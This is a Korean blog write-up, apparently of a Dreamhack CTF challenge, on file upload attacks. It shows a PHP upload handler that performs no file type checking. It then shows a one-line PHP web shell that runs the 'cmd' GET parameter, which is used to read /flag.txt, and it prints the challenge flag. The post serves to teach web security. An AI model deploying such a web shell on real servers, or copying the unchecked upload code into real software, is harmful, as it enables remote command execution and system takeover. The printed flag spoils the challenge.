728x90
파일 업로드 공격은 파일 업로드 할 수 있는 기능을 통해 웹쉘을 업로드하여 시스템을 장악하는 공격이다.
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
업로드된 파일은 php에서 $_FILES 전역변수를 이용해 접근가능하다.
이 문제에선 서버가 업로드받은 파일은 $_FILES["file"]["tmp_name"]에 존재한다. 이는 $file["tmp_name"]와 동일하다.
move_uploaded_file은 서버는 업로드 받은 파일을 저장할 때 사용하는 함수다.
서버가 업로드 받은 $tmp_name 파일을 ./uploads/실제파일명으로 저장 후 Stored in: ./uploads/실제파일명을 출력한다.
아래의 php 파일을 만들어 업로드한 후 list 페이지에 접속하면 파일이 보일 것이다.
<?php
system($_GET['cmd'])
?>
cmd 인자의 값을 get 방식으로 전달하면 cmd 인자의 값을 실행한다. cat /flag.txt를 전달하였다.
DH{c29f44ea17b29d8b76001f32e8997bab}
FLAG가 출력된다.
728x90
'dreamhack > Web Hacking' 카테고리의 다른 글
Carve Party (0) | 2023.02.13 |
---|---|
Mango (0) | 2023.02.13 |
CSRF-2 (0) | 2023.02.12 |
command-injection-1 (0) | 2023.02.12 |
CSRF-1 (0) | 2023.02.12 |